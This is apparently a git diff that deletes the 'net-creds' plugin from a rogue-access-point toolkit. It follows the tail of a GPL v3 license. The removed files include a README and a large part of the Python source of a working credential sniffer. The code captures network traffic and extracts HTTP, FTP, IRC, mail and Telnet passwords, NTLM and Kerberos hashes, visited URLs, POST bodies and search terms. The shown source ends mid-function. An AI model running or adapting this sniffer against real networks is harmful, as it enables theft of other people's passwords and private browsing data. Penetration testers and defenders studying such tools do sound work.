authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/plugins/external/net-creds/README.md b/plugins/external/net-creds/README.md deleted file mode 100644 index e5e5871..0000000 --- a/plugins/external/net-creds/README.md +++ /dev/null @@ -1,64 +0,0 @@ -Thoroughly sniff passwords and hashes from an interface or pcap file. Concatenates fragmented packets and does not rely on ports for service identification. - -| Screenshots | -|:-----:| -| ![Screenie1](http://imgur.com/opQo7Bb.png) | -| ![Screenie2](http://imgur.com/Kl5I6Ju.png) | - -###Sniffs - -* URLs visited -* POST loads sent -* HTTP form logins/passwords -* HTTP basic auth logins/passwords -* HTTP searches -* FTP logins/passwords -* IRC logins/passwords -* POP logins/passwords -* IMAP logins/passwords -* Telnet logins/passwords -* SMTP logins/passwords -* SNMP community string -* NTLMv1/v2 all supported protocols like HTTP, SMB, LDAP, etc -* Kerberos - - -###Examples - -Auto-detect the interface to sniff - -```sudo python net-creds.py``` - -Choose eth0 as the interface - -```sudo python net-creds.py -i eth0``` - -Ignore packets to and from 192.168.0.2 - -```sudo python net-creds.py -f 192.168.0.2``` - -Read from pcap - -```python net-creds.py -p pcapfile``` - - -####OSX - -Credit to [epocs](https://github.com/epocs): -``` -sudo easy_install pip -sudo pip install scapy -sudo pip install pcapy -brew install libdnet --with-python -mkdir -p /Users//Library/Python/2.7/lib/python/site-packages -echo 'import site; site.addsitedir("/usr/local/lib/python2.7/site-packages")' >> /Users//Library/Python/2.7/lib/python/site-packages/homebrew.pth -sudo pip install pypcap -brew tap brona/iproute2mac -brew install iproute2mac -``` -Then replace line 74 '/sbin/ip' with '/usr/local/bin/ip'. - - -####Thanks -* Laurent Gaffie -* psychomario diff --git a/plugins/external/net-creds/__init__.py b/plugins/external/net-creds/__init__.py deleted file mode 100644 index 7240148..0000000 --- a/plugins/external/net-creds/__init__.py +++ /dev/null @@ -1 +0,0 @@ -__author__ = 'mh4' diff --git a/plugins/external/net-creds/net-creds.py b/plugins/external/net-creds/net-creds.py deleted file mode 100644 index 69afde9..0000000 --- a/plugins/external/net-creds/net-creds.py +++ /dev/null @@ -1,1028 +0,0 @@ -#!/usr/bin/env python2 -#credits: DanMcInerney -#git: https://github.com/DanMcInerney/net-creds/blob/master/net-creds.py -from os import geteuid, devnull,chdir -import logging -# shut up scapy -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) -from scapy.all import * -conf.verb=0 -from sys import exit,path -import binascii -import struct -import argparse -import signal -import base64 -from urllib import unquote -import threading -from subprocess import Popen, PIPE -from collections import OrderedDict -from BaseHTTPServer import BaseHTTPRequestHandler -from StringIO import StringIO -from urllib import unquote -import binascii -from time import asctime -# Debug -#from IPython import embed -########################## -# Potention ToDo: -# MySQL seed:hash -# VNC -# Oracle? -# Add file carving from dissectors.py -######################### - -# Unintentional code contributors: -# Laurent Gaffie -# psychomario - -DN = open(devnull, 'w') -pkt_frag_loads = OrderedDict() -challenge_acks = OrderedDict() -mail_auths = OrderedDict() -telnet_stream = OrderedDict() - -# Regexs -authenticate_re = '(www-|proxy-)?authenticate' -authorization_re = '(www-|proxy-)?authorization' -ftp_user_re = r'USER (.+)\r\n' -ftp_pw_re = r'PASS (.+)\r\n' -irc_user_re = r'NICK (.+?)((\r)?\n|\s)' -irc_pw_re = r'NS IDENTIFY (.+)' -irc_pw_re2 = 'nickserv :identify (.+)' -mail_auth_re = '(\d+ )?(auth|authenticate) (login|plain)' -mail_auth_re1 = '(\d+ )?login ' -NTLMSSP2_re = 'NTLMSSP\x00\x02\x00\x00\x00.+' -NTLMSSP3_re = 'NTLMSSP\x00\x03\x00\x00\x00.+' -# Prone to false+ but prefer that to false- -http_search_re = '((search|query|&q|\?q|search\?p|searchterm|keywords|keyword|command|terms|keys|question|kwd|searchPhrase)=([^&][^&]*))' - -#Console colors -W = '\033[0m' # white (normal) -T = '\033[93m' # tan - - - -'''http://stackoverflow.com/questions/17035077/python-logging-to-multiple-log-files-from-different-classes''' -def setup_logger(logger_name, log_file,key, level=logging.INFO): - l = logging.getLogger(logger_name) - if 'credentials' in logger_name: - formatter = logging.Formatter('SessionID[{}] %(asctime)s :[creds] %(message)s'.format(key),datefmt='%Y-%m-%d %H:%M:%S') - elif 'netcreds' in logger_name: - formatter = logging.Formatter('SessionID[{}] %(asctime)s :[url] %(message)s'.format(key),datefmt='%Y-%m-%d %H:%M:%S') - fileHandler = logging.FileHandler(log_file, mode='a') - fileHandler.setFormatter(formatter) - streamHandler = logging.StreamHandler() - streamHandler.setFormatter(formatter) - - l.setLevel(level) - l.addHandler(fileHandler) - l.addHandler(streamHandler) - -def parse_args(): - """Create the arguments""" - parser = argparse.ArgumentParser() - parser.add_argument("-i", "--interface", help="Choose an interface") - parser.add_argument("-k", "--key", help="session ID for WiFi-pumpkin") - parser.add_argument("-p", "--pcap", help="Parse info from a pcap file; -p ") - parser.add_argument("-f", "--filterip", help="Do not sniff packets from this IP address; -f 192.168.0.4") - parser.add_argument("-v", "--verbose", help="Display entire URLs and POST loads rather than truncating at 100 characters", action="store_true") - return parser.parse_args() - -def iface_finder(): - try: - ipr = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN) - for line in ipr.communicate()[0].splitlines(): - if 'default' in line: - l = line.split() - iface = l[4] - return iface - except IOError: - exit('[-] Could not find an internet active interface; please specify one with -i ') - -def frag_remover(ack, load): - ''' - Keep the FILO OrderedDict of frag loads from getting too large - 3 points of limit: - Number of ip_ports < 50 - Number of acks per ip:port < 25 - Number of chars in load < 5000 - ''' - global pkt_frag_loads - - # Keep the number of IP:port mappings below 50 - # last=False pops the oldest item rather than the latest - while len(pkt_frag_loads) > 50: - pkt_frag_loads.popitem(last=False) - - # Loop through a deep copy dict but modify the original dict - copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads) - for ip_port in copy_pkt_frag_loads: - if len(copy_pkt_frag_loads[ip_port]) > 0: - # Keep 25 ack:load's per ip:port - while len(copy_pkt_frag_loads[ip_port]) > 25: - pkt_frag_loads[ip_port].popitem(last=False) - - # Recopy the new dict to prevent KeyErrors for modifying dict in loop - copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads) - for ip_port in copy_pkt_frag_loads: - # Keep the load less than 75,000 chars - for ack in copy_pkt_frag_loads[ip_port]: - # If load > 5000 chars, just keep the last 200 chars - if len(copy_pkt_frag_loads[ip_port][ack]) > 5000: - pkt_frag_loads[ip_port][ack] = pkt_frag_loads[ip_port][ack][-200:] - -def frag_joiner(ack, src_ip_port, load): - ''' - Keep a store of previous fragments in an OrderedDict named pkt_frag_loads - ''' - for ip_port in pkt_frag_loads: - if src_ip_port == ip_port: - if ack in pkt_frag_loads[src_ip_port]: - # Make pkt_frag_loads[src_ip_port][ack] = full load - old_load = pkt_frag_loads[src_ip_port][ack] - concat_load = old_load + load - return OrderedDict([(ack, concat_load)]) - - return OrderedDict([(ack, load)]) - -def pkt_parser(pkt): - ''' - Start parsing packets here - ''' - global pkt_frag_loads, mail_auths - - if pkt.haslayer(Raw): - load = pkt[Raw].load - - # Get rid of Ethernet pkts with just a raw load cuz these are usually network controls like flow control - if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6): - return - - # UDP - if pkt.haslayer(UDP) and pkt.haslayer(IP) and pkt.haslayer(Raw): - - src_ip_port = str(pkt[IP].src) + ':' + str(pkt[UDP].sport) - dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[UDP].dport) - - # SNMP community strings - if pkt.haslayer(SNMP): - parse_snmp(src_ip_port, dst_ip_port, pkt[SNMP]) - return - - # Kerberos over UDP - decoded = Decode_Ip_Packet(str(pkt)[14:]) - kerb_hash = ParseMSKerbv5UDP(decoded['data'][8:]) - if kerb_hash: - printer(src_ip_port, dst_ip_port, kerb_hash) - - # TCP - elif pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP): - - ack = str(pkt[TCP].ack) - seq = str(pkt[TCP].seq) - src_ip_port = str(pkt[IP].src) + ':' + str(pkt[TCP].sport) - dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[TCP].dport) - frag_remover(ack, load) - pkt_frag_loads[src_ip_port] = frag_joiner(ack, src_ip_port, load) - full_load = pkt_frag_loads[src_ip_port][ack] - - # Limit the packets we regex to increase efficiency - # 750 is a bit arbitrary but some SMTP auth success pkts - # are 500+ characters - if 0 < len(full_load) < 750: - - # FTP - ftp_creds = parse_ftp(full_load, dst_ip_port) - if len(ftp_creds) > 0: - for msg in ftp_creds: - printer(src_ip_port, dst_ip_port, msg) - return - - # Mail - mail_creds_found = mail_logins(full_load, src_ip_port, dst_ip_port, ack, seq) - - # IRC - irc_creds = irc_logins(full_load, pkt) - if irc_creds != None: - printer(src_ip_port, dst_ip_port, irc_creds) - return - - # Telnet - telnet_logins(src_ip_port, dst_ip_port, load, ack, seq) - - # HTTP and other protocols that run on TCP + a raw load - other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt, parse_args().verbose) - -def telnet_logins(src_ip_port, dst_ip_port, load, ack, seq): - ''' - Catch telnet logins and passwords - ''' - global telnet_stream - - msg = None - - if src_ip_port in telnet_stream: - # Do a utf decode in case the client sends telnet options before their username - # No one would care to see that - try: - telnet_stream[src_ip_port] += load.decode('utf8') - except UnicodeDecodeError: - pass - - # \r or \r\n or \n terminate commands in telnet if my pcaps are to be believed - if '\r' in telnet_stream[src_ip_port] or '\n' in telnet_stream[src_ip_port]: - telnet_split = telnet_stream[src_ip_port].split(' ', 1) - cred_type = telnet_split[0] - value = telnet_split[1].replace('\r\n', '').replace('\r', '').replace('\n', '') - # Create msg, the return variable - msg = 'Telnet %s: %s' % (cred_type, value) - printer(src_ip_port, dst_ip_port, msg) - del telnet_stream[src_ip_port] - - # This part relies on the telnet packet ending in - # "login:", "password:", or "username:" and being <750 chars - # Haven't seen any false+ but this is pretty general - # might catch some eventually - # maybe use dissector.py telnet lib? - if len(telnet_stream) > 100: - telnet_stream.popitem(last=False) - mod_load = load.lower().strip() - if mod_load.endswith('username:') or mod_load.endswith('login:'): - telnet_stream[dst_ip_port] = 'username ' - elif mod_load.endswith('password:'): - telnet_stream[dst_ip_port] = 'password ' - -def ParseMSKerbv5TCP(Data): - ''' - Taken from Pcredz because I didn't want to spend the time doing this myself - I should probably figure this out on my own but hey, time isn't free, why reinvent the wheel? - Maybe replace this eventually with the kerberos python lib - Parses Kerberosv5 hashes from packets - ''' - try: - MsgType = Data[21:22] - EncType = Data[43:44] - MessageType = Data[32:33] - except IndexError: - return - - if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": - if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": - HashLen = struct.unpack(' 1: - lines = full_load.count('\r\n') - if lines > 1: - full_load = full_load.split('\r\n')[-2] # -1 is '' - return full_load - -def parse_ftp(full_load, dst_ip_port): - ''' - Parse out FTP creds - ''' - print_strs = [] - - # Sometimes FTP packets double up on the authentication lines - # We just want the lastest one. Ex: "USER danmcinerney\r\nUSER danmcinerney\r\n" - full_load = double_line_checker(full_load, 'USER') - - # FTP and POP potentially use idential client > server auth pkts - ftp_user = re.match(ftp_user_re, full_load) - ftp_pass = re.match(ftp_pw_re, full_load) - - if ftp_user: - msg1 = 'FTP User: %s' % ftp_user.group(1).strip() - print_strs.append(msg1) - if dst_ip_port[-3:] != ':21': - msg2 = 'Nonstandard FTP port, confirm the service that is running on it' - print_strs.append(msg2) - - elif ftp_pass: - msg1 = 'FTP Pass: %s' % ftp_pass.group(1).strip() - print_strs.append(msg1) - if dst_ip_port[-3:] != ':21': - msg2 = 'Nonstandard FTP port, confirm the service that is running on it' - print_strs.append(msg2) - - return print_strs - -def mail_decode(src_ip_port, dst_ip_port, mail_creds): - ''' - Decode base64 mail creds - ''' - try: - decoded = base64.b64decode(mail_creds).replace('\x00', ' ').decode('utf8') - decoded = decoded.replace('\x00', ' ') - except TypeError: - decoded = None - except UnicodeDecodeError as e: - decoded = None - - if decoded != None: - msg = 'Decoded: %s' % decoded - printer(src_ip_port, dst_ip_port, msg) - -def mail_logins(full_load, src_ip_port, dst_ip_port, ack, seq): - ''' - Catch IMAP, POP, and SMTP logins - ''' - # Handle the first packet of mail authentication - # if the creds aren't in the first packet, save it in mail_auths - - # mail_auths = 192.168.0.2 : [1st ack, 2nd ack...] - global mail_auths - found = False - - # Sometimes mail packets double up on the authentication lines - # We just want the lastest one. Ex: "1 auth plain\r\n2 auth plain\r\n" - full_load = double_line_checker(full_load, 'auth') - - # Client to server 2nd+ pkt - if src_ip_port in mail_auths: - if seq in mail_auths[src_ip_port][-1]: - stripped = full_load.strip('\r\n') - try: - decoded = base64.b64decode(stripped) - msg = 'Mail authentication: %s' % decoded - printer(src_ip_port, dst_ip_port, msg) - except TypeError: - pass - mail_auths[src_ip_port].append(ack) - - # Server responses to client - # seq always = last ack of tcp stream - elif dst_ip_port in mail_auths: - if seq in mail_auths[dst_ip_port][-1]: - # Look for any kind of auth failure or success - a_s = 'Authentication successful' - a_f = 'Authentication failed' - # SMTP auth was successful - if full_load.startswith('235') and 'auth' in full_load.lower(): - # Reversed the dst and src - printer(dst_ip_port, src_ip_port, a_s) - found = True - try: - del mail_auths[dst_ip_port] - except KeyError: - pass - # SMTP failed - elif full_load.startswith('535 '): - # Reversed the dst and src - printer(dst_ip_port, src_ip_port, a_f) - found = True - try: - del mail_auths[dst_ip_port] - except KeyError: - pass - # IMAP/POP/SMTP failed - elif ' fail' in full_load.lower(): - # Reversed the dst and src - printer(dst_ip_port, src_ip_port, a_f) - found = True - try: - del mail_auths[dst_ip_port] - except KeyError: - pass - # IMAP auth success - elif ' OK [' in full_load: - # Reversed the dst and src - printer(dst_ip_port, src_ip_port, a_s) - found = True - try: - del mail_auths[dst_ip_port] - except KeyError: - pass - - # Pkt was not an auth pass/fail so its just a normal server ack - # that it got the client's first auth pkt - else: - if len(mail_auths) > 100: - mail_auths.popitem(last=False) - mail_auths[dst_ip_port].append(ack) - - # Client to server but it's a new TCP seq - # This handles most POP/IMAP/SMTP logins but there's at least one edge case - else: - mail_auth_search = re.match(mail_auth_re, full_load, re.IGNORECASE) - if mail_auth_search != None: - auth_msg = full_load - # IMAP uses the number at the beginning - if mail_auth_search.group(1) != None: - auth_msg = auth_msg.split()[1:] - else: - auth_msg = auth_msg.split() - # Check if its a pkt like AUTH PLAIN dvcmQxIQ== - # rather than just an AUTH PLAIN - if len(auth_msg) > 2: - mail_creds = ' '.join(auth_msg[2:]) - msg = 'Mail authentication: %s' % mail_creds - printer(src_ip_port, dst_ip_port, msg) - - mail_decode(src_ip_port, dst_ip_port, mail_creds) - try: - del mail_auths[src_ip_port] - except KeyError: - pass - found = True - - # Mail auth regex was found and src_ip_port is not in mail_auths - # Pkt was just the initial auth cmd, next pkt from client will hold creds - if len(mail_auths) > 100: - mail_auths.popitem(last=False) - mail_auths[src_ip_port] = [ack] - - # At least 1 mail login style doesn't fit in the original regex: - # 1 login "username" "password" - # This also catches FTP authentication! - # 230 Login successful. - elif re.match(mail_auth_re1, full_load, re.IGNORECASE) != None: - - # FTP authentication failures trigger this - #if full_load.lower().startswith('530 login'): - # return - - auth_msg = full_load - auth_msg = auth_msg.split() - if 2 < len(auth_msg) < 5: - mail_creds = ' '.join(auth_msg[2:]) - msg = 'Authentication: %s' % mail_creds - printer(src_ip_port, dst_ip_port, msg) - mail_decode(src_ip_port, dst_ip_port, mail_creds) - found = True - - if found == True: - return True - -def irc_logins(full_load, pkt): - ''' - Find IRC logins - ''' - user_search = re.match(irc_user_re, full_load) - pass_search = re.match(irc_pw_re, full_load) - pass_search2 = re.search(irc_pw_re2, full_load.lower()) - if user_search: - msg = 'IRC nick: %s' % user_search.group(1) - return msg - if pass_search: - msg = 'IRC pass: %s' % pass_search.group(1) - return msg - if pass_search2: - msg = 'IRC pass: %s' % pass_search2.group(1) - return msg - -def other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt, verbose): - ''' - Pull out pertinent info from the parsed HTTP packet data - ''' - user_passwd = None - http_url_req = None - method = None - http_methods = ['GET ', 'POST ', 'CONNECT ', 'TRACE ', 'TRACK ', 'PUT ', 'DELETE ', 'HEAD '] - http_line, header_lines, body = parse_http_load(full_load, http_methods) - headers = headers_to_dict(header_lines) - if 'host' in headers: - host = headers['host'] - else: - host = '' - - if http_line != None: - method, path = parse_http_line(http_line, http_methods) - http_url_req = get_http_url(method, host, path, headers) - if http_url_req != None: - if verbose == False: - if len(http_url_req) > 98: - http_url_req = http_url_req[:99] + '...' - printer(src_ip_port, None, http_url_req) - - # Print search terms - searched = get_http_searches(http_url_req, body, host) - if searched: - printer(src_ip_port, dst_ip_port, searched) - - # Print user/pwds - if body != '': - user_passwd = get_login_pass(body) - if user_passwd != None: - try: - http_user = user_passwd[0].decode('utf8') - http_pass = user_passwd[1].decode('utf8') - # Set a limit on how long they can be prevent false+ - if len(http_user) > 75 or len(http_pass) > 75: - return - user_msg = 'HTTP username: %s' % http_user - printer(src_ip_port, dst_ip_port, user_msg) - pass_msg = 'HTTP password: %s' % http_pass - printer(src_ip_port, dst_ip_port, pass_msg) - except UnicodeDecodeError: - pass - - # Print POST loads - # ocsp is a common SSL post load that's never interesting - if method == 'POST' and 'ocsp.' not in host: - try: - if verbose == False and len(body) > 99: - # If it can't decode to utf8 we're probably not interested in it - msg = 'POST load: %s...' % body[:99].encode('utf8') - else: - msg = 'POST load: %s' % body.encode('utf8') - printer(src_ip_port, None, msg) - except UnicodeDecodeError: - pass - - # Kerberos over TCP - decoded = Decode_Ip_Packet(str(pkt)[14:]) - kerb_hash = ParseMSKerbv5TCP(decoded['data'][20:]) - if kerb_hash: - printer(src_ip_port, dst_ip_port, kerb_hash) - - # Non-NETNTLM NTLM hashes (MSSQL, DCE-RPC,SMBv1/2,LDAP, MSSQL) - NTLMSSP2 = re.search(NTLMSSP2_re, full_load, re.DOTALL) - NTLMSSP3 = re.search(NTLMSSP3_re, full_load, re.DOTALL) - if NTLMSSP2: - parse_ntlm_chal(NTLMSSP2.group(), ack) - if NTLMSSP3: - ntlm_resp_found = parse_ntlm_resp(NTLMSSP3.group(), seq) - if ntlm_resp_found != None: - printer(src_ip_port, dst_ip_port, ntlm_resp_found) - - # Look for authentication headers - if len(headers) == 0: - authenticate_header = None - authorization_header = None - for header in headers: - authenticate_header = re.match(authenticate_re, header) - authorization_header = re.match(authorization_re, header) - if authenticate_header or authorization_header: - break - - if authorization_header or authenticate_header: - # NETNTLM - netntlm_found = parse_netntlm(authenticate_header, authorization_header, headers, ack, seq) - if netntlm_found != None: - printer(src_ip_port, dst_ip_port, netntlm_found) - - # Basic Auth - parse_basic_auth(src_ip_port, dst_ip_port, headers, authorization_header) - -def get_http_searches(http_url_req, body, host): - ''' - Find search terms from URLs. Prone to false positives but rather err on that side than false negatives - search, query, ?s, &q, ?q, search?p, searchTerm, keywords, command - ''' - false_pos = ['i.stack.imgur.com'] - - searched = None - if http_url_req != None: - searched = re.search(http_search_re, http_url_req, re.IGNORECASE) - if searched == None: - searched = re.search(http_search_re, body, re.IGNORECASE) - - if searched != None and host not in false_pos: - searched = searched.group(3) - # Eliminate some false+ - try: - # if it doesn't decode to utf8 it's probably not user input - searched = searched.decode('utf8') - except UnicodeDecodeError: - return - # some add sites trigger this function with single digits - if searched in [str(num) for num in range(0,10)]: - return - # nobody's making >100 character searches - if len(searched) > 100: - return - msg = 'Searched %s: %s' % (host, unquote(searched.encode('utf8')).replace('+', ' ')) - return msg - -def parse_basic_auth(src_ip_port, dst_ip_port, headers, authorization_header): - ''' - Parse basic authentication over HTTP - ''' - if authorization_header: - # authorization_header sometimes is triggered by failed ftp - try: - header_val = headers[authorization_header.group()] - except KeyError: - return - b64_auth_re = re.match('basic (.+)', header_val, re.IGNORECASE) - if b64_auth_re != None: - basic_auth_b64 = b64_auth_re.group(1) - basic_auth_creds = base64.decodestring(basic_auth_b64) - msg = 'Basic Authentication: %s' % basic_auth_creds - 